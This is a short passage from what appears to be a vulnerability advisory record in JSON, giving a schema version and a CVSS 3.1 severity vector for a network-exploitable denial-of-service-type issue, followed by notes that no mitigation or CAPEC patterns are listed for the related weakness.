"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.